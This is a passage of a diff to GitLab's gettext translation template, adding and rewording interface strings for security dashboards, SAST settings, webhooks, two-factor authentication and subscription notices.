msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20938,6 +21517,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -21064,6 +21646,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -21094,6 +21679,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21142,6 +21730,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21184,6 +21775,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21391,6 +21985,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21418,13 +22015,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21445,6 +22066,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21472,7 +22096,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21508,13 +22132,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21529,19 +22150,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21553,6 +22168,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21571,13 +22189,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21649,7 +22267,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21658,6 +22276,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21688,9 +22309,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21814,6 +22432,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21844,6 +22465,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -22033,6 +22657,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -22045,6 +22675,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22363,19 +22999,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22471,6 +23107,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22513,7 +23152,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22564,12 +23203,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22627,6 +23275,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22756,10 +23407,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23656,6 +24307,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23704,6 +24358,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23716,6 +24373,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23899,6 +24559,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23968,9 +24634,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24007,16 +24670,13 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -24043,6 +24703,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -24073,6 +24736,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -24127,6 +24793,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24229,13 +24901,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24274,6 +24946,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24391,6 +25066,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24466,12 +25144,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24484,6 +25165,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24634,19 +25318,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24670,6 +25354,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24700,7 +25387,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24874,9 +25561,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25039,15 +25723,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25108,6 +25792,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25483,9 +26170,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25570,9 +26254,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25594,9 +26284,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25657,6 +26344,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25801,6 +26491,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25870,9 +26563,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25888,10 +26590,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -26074,7 +26788,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26164,6 +26878,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26245,9 +26962,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26263,7 +26977,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26338,7 +27052,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26428,9 +27142,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26482,9 +27193,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26728,9 +27436,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26764,6 +27478,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26800,6 +27517,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26842,6 +27562,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -27046,6 +27772,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -27109,9 +27838,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27253,7 +27979,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27298,6 +28024,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27319,21 +28129,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27343,6 +28153,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27661,10 +28474,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27673,6 +28486,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27682,6 +28501,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27718,9 +28540,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27754,13 +28573,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27844,10 +28663,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28060,6 +28879,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28135,7 +28957,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28252,6 +29074,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28381,6 +29206,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28684,12 +29512,6 @@ msgstr ""
msgid "committed"
msgstr ""
